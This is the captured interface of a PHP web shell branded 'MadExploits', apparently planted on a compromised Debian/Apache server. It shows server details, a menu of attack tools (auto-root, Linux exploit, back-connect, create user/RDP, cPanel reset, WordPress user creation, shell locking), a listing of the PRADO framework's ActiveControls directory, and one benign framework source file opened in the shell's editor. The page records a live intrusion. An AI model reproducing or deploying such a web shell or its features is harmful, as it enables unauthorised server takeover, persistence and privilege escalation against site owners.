Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.116.88.132
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Web /
UI /
ActiveControls /
[ HOME SHELL ]
Name
Size
Permission
Action
IActiveControl.php
571
B
-rw-r--r--
ICallbackEventHandler.php
881
B
-rw-r--r--
TActiveBoundColumn.php
2.53
KB
-rw-r--r--
TActiveButton.php
4.19
KB
-rw-r--r--
TActiveButtonColumn.php
2.17
KB
-rw-r--r--
TActiveCheckBox.php
5.5
KB
-rw-r--r--
TActiveCheckBoxColumn.php
3.59
KB
-rw-r--r--
TActiveCheckBoxList.php
4.15
KB
-rw-r--r--
TActiveCheckBoxListItem.php
814
B
-rw-r--r--
TActiveClientScript.php
2.51
KB
-rw-r--r--
TActiveControlAdapter.php
4.76
KB
-rw-r--r--
TActiveCustomValidator.php
5.52
KB
-rw-r--r--
TActiveCustomValidatorClientSi...
2.33
KB
-rw-r--r--
TActiveDataGrid.php
7.38
KB
-rw-r--r--
TActiveDataGridPager.php
842
B
-rw-r--r--
TActiveDataGridPagerEventParam...
1.02
KB
-rw-r--r--
TActiveDataList.php
3.75
KB
-rw-r--r--
TActiveDatePicker.php
5.28
KB
-rw-r--r--
TActiveDatePickerClientScript....
1.28
KB
-rw-r--r--
TActiveDropDownList.php
4.26
KB
-rw-r--r--
TActiveDropDownListColumn.php
2.33
KB
-rw-r--r--
TActiveEditCommandColumn.php
2.08
KB
-rw-r--r--
TActiveFileUpload.php
16.59
KB
-rw-r--r--
TActiveFileUploadCallbackParam...
737
B
-rw-r--r--
TActiveFileUploadItem.php
1.36
KB
-rw-r--r--
TActiveHiddenField.php
1.76
KB
-rw-r--r--
TActiveHtmlArea.php
3.18
KB
-rw-r--r--
TActiveHtmlArea5.php
3.15
KB
-rw-r--r--
TActiveHyperLink.php
3.45
KB
-rw-r--r--
TActiveHyperLinkColumn.php
2.29
KB
-rw-r--r--
TActiveImage.php
3.06
KB
-rw-r--r--
TActiveImageButton.php
5.33
KB
-rw-r--r--
TActiveLabel.php
2.67
KB
-rw-r--r--
TActiveLinkButton.php
4.86
KB
-rw-r--r--
TActiveListBox.php
4.43
KB
-rw-r--r--
TActiveListControlAdapter.php
4.18
KB
-rw-r--r--
TActiveListItemCollection.php
2.88
KB
-rw-r--r--
TActiveLiteralColumn.php
2.73
KB
-rw-r--r--
TActiveMultiView.php
3.54
KB
-rw-r--r--
TActivePageAdapter.php
9.87
KB
-rw-r--r--
TActivePager.php
6.39
KB
-rw-r--r--
TActivePanel.php
2.77
KB
-rw-r--r--
TActiveRadioButton.php
5.56
KB
-rw-r--r--
TActiveRadioButtonItem.php
824
B
-rw-r--r--
TActiveRadioButtonList.php
3.84
KB
-rw-r--r--
TActiveRatingList.php
4.12
KB
-rw-r--r--
TActiveRepeater.php
4.45
KB
-rw-r--r--
TActiveTableCell.php
7.01
KB
-rw-r--r--
TActiveTableCellEventParameter...
1.77
KB
-rw-r--r--
TActiveTableRow.php
7.6
KB
-rw-r--r--
TActiveTableRowEventParameter....
1.78
KB
-rw-r--r--
TActiveTemplateColumn.php
2.56
KB
-rw-r--r--
TActiveTextBox.php
3.7
KB
-rw-r--r--
TBaseActiveCallbackControl.php
8.29
KB
-rw-r--r--
TBaseActiveControl.php
3.65
KB
-rw-r--r--
TCallback.php
2.95
KB
-rw-r--r--
TCallbackClientScript.php
24.66
KB
-rw-r--r--
TCallbackClientSide.php
8.14
KB
-rw-r--r--
TCallbackErrorHandler.php
3.53
KB
-rw-r--r--
TCallbackEventParameter.php
2.27
KB
-rw-r--r--
TCallbackOptions.php
1.26
KB
-rw-r--r--
TCallbackPageStateTracker.php
5.39
KB
-rw-r--r--
TCallbackResponseAdapter.php
2.38
KB
-rw-r--r--
TCallbackResponseWriter.php
1.67
KB
-rw-r--r--
TEventTriggeredCallback.php
2.38
KB
-rw-r--r--
TInPlaceTextBox.php
8.29
KB
-rw-r--r--
TInvalidCallbackException.php
595
B
-rw-r--r--
TMapCollectionDiff.php
874
B
-rw-r--r--
TScalarDiff.php
711
B
-rw-r--r--
TStyleDiff.php
2.35
KB
-rw-r--r--
TTimeTriggeredCallback.php
3.54
KB
-rw-r--r--
TTriggeredCallback.php
1.65
KB
-rw-r--r--
TValueTriggeredCallback.php
3.21
KB
-rw-r--r--
TViewStateDiff.php
1.07
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TBaseActiveCallbackControl.php
<?php /** * TBaseActiveControl and TBaseActiveCallbackControl class file. * * @author Wei Zhuo <weizhuo[at]gamil[dot]com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Web\UI\ActiveControls; use Prado\Exceptions\TConfigurationException; use Prado\TPropertyValue; use Prado\Web\Javascripts\TJavaScript; /** * TBaseActiveCallbackControl is a common set of options and functionality for * active controls that can perform callback requests. * * The properties of TBaseActiveCallbackControl can be accessed and changed from * each individual active controls' {@link getActiveControl ActiveControl} * property. * * The following example sets the validation group property of a TCallback component. * <code> * <com:TCallback ActiveControl.ValidationGroup="group1" ... /> * </code> * * Additional client-side options and events can be set using the * {@link getClientSide ClientSide} property. The following example shows * an alert box when a TCallback component response returns successfully. * <code> * <com:TCallback ActiveControl.ClientSide.OnSuccess="alert('ok!')" ... /> * </code> * * @author Wei Zhuo <weizhuo[at]gmail[dot]com> * @since 3.1 */ class TBaseActiveCallbackControl extends TBaseActiveControl { /** * Callback client-side options can be set by setting the properties of * the ClientSide property. E.g. <com:TCallback ActiveControl.ClientSide.OnSuccess="..." /> * See {@link TCallbackClientSide} for details on the properties of ClientSide. * @return TCallbackClientSide client-side callback options. */ public function getClientSide() { if (($client = $this->getOption('ClientSide')) === null) { $client = $this->createClientSide(); $this->setOption('ClientSide', $client); } return $client; } /** * Sets the client side options. Can only be set when client side is null. * @param TCallbackClientSide $client client side options. */ public function setClientSide($client) { if ($this->getOption('ClientSide') === null) { $this->setOption('ClientSide', $client); } else { throw new TConfigurationException( 'active_controls_client_side_exists', $this->getControl()->getID() ); } } /** * @return TCallbackClientSide callback client-side options. */ protected function createClientSide() { return new TCallbackClientSide(); } /** * Sets default callback options. Takes the ID of a TCallbackOptions * component to duplicate the client-side * options for this control. The {@link getClientSide ClientSide} * subproperties takes precedence over the CallbackOptions property. * @param string $value ID of a TCallbackOptions control from which ClientSide * options are cloned. */ public function setCallbackOptions($value) { $this->setOption('CallbackOptions', $value, ''); } /** * @return string ID of a TCallbackOptions control from which ClientSide * options are duplicated. */ public function getCallbackOptions() { return $this->getOption('CallbackOptions', ''); } /** * Returns an array of default callback client-side options. The default options * are obtained from the client-side options of a TCallbackOptions control with * ID specified by {@link setCallbackOptions CallbackOptions}. * @return array list of default callback client-side options. */ protected function getDefaultClientSideOptions() { if (($id = $this->getCallbackOptions()) !== '') { if (($pos = strrpos($id, '.')) !== false) { $control = $this->getControl()->getSubProperty(substr($id, 0, $pos)); $newid = substr($id, $pos + 1); if ($control !== null) { $control = $control->$newid; } } else { if ($this->getControl() instanceof \Prado\Web\UI\WebControls\TCheckBoxList) { // TCheckBoxList overrides findControl() with a fake implementation // but accepts a second parameter to use the standard one $control = $this->getControl()->findControl($id, true); } else { $control = $this->getControl()->findControl($id); } } if ($control instanceof TCallbackOptions) { return $control->getClientSide()->getOptions()->toArray(); } else { throw new TConfigurationException('callback_invalid_callback_options', $this->getControl()->getID(), $id); } } return []; } /** * @return bool whether callback event trigger by this button will cause * input validation, default is true */ public function getCausesValidation() { return $this->getOption('CausesValidation', true); } /** * @param bool $value whether callback event trigger by this button will cause * input validation */ public function setCausesValidation($value) { $this->setOption('CausesValidation', TPropertyValue::ensureBoolean($value), true); } /** * @return string the group of validators which the button causes validation * upon callback */ public function getValidationGroup() { return $this->getOption('ValidationGroup', ''); } /** * @param string $value the group of validators which the button causes validation * upon callback */ public function setValidationGroup($value) { $this->setOption('ValidationGroup', $value, ''); } /** * @return bool whether to perform validation if the callback is * requested. */ public function canCauseValidation() { if ($this->getCausesValidation()) { $group = $this->getValidationGroup(); return $this->getPage()->getValidators($group)->getCount() > 0; } else { return false; } } /** * @param mixed $value callback parameter value. */ public function setCallbackParameter($value) { $this->setOption('CallbackParameter', $value, ''); } /** * @return mixed callback parameter value. */ public function getCallbackParameter() { return $this->getOption('CallbackParameter', ''); } /** * @return array list of callback javascript options. */ protected function getClientSideOptions() { $default = $this->getDefaultClientSideOptions(); $options = array_merge($default, $this->getClientSide()->getOptions()->toArray()); $validate = $this->getCausesValidation(); $options['CausesValidation'] = $validate ? '' : false; $options['ValidationGroup'] = $this->getValidationGroup(); $options['CallbackParameter'] = $this->getCallbackParameter(); // needed for TCallback if (!isset($options['EventTarget'])) { $options['EventTarget'] = $this->getControl()->getUniqueID(); } return $options; } /** * Registers the callback control javascript code. Client-side options are * merged and passed to the javascript code. This method should be called by * Active component developers wanting to register the javascript to initialize * the active component with additional options offered by the * {@link getClientSide ClientSide} property. * @param string $class client side javascript class name. * @param null|array $options additional callback options. */ public function registerCallbackClientScript($class, $options = null) { $cs = $this->getPage()->getClientScript(); if (is_array($options)) { $options = array_merge($this->getClientSideOptions(), $options); } else { $options = $this->getClientSideOptions(); } //remove true as default to save bytes if ($options['CausesValidation'] === true) { $options['CausesValidation'] = ''; } $cs->registerCallbackControl($class, $options); } /** * Returns the javascript callback request instance. To invoke a callback * request for this control call the <tt>dispatch()</tt> method on the * request instance. Example code in javascript * <code> * var request = <%= $this->mycallback->ActiveControl->Javascript %>; * request.setParameter('hello'); * request.dispatch(); //make the callback request. * </code> * * Alternatively, * <code> * //dispatches immediately * Prado.Callback("<%= $this->mycallback->UniqueID %>", * $this->mycallback->ActiveControl->JsCallbackOptions); * </code> * @return string javascript client-side callback request object (javascript * code) */ public function getJavascript() { $client = $this->getPage()->getClientScript(); return $client->getCallbackReference($this->getControl(), $this->getClientSideOptions()); } /** * @return string callback request options as javascript code. */ public function getJsCallbackOptions() { return TJavaScript::encode($this->getClientSideOptions()); } }
Close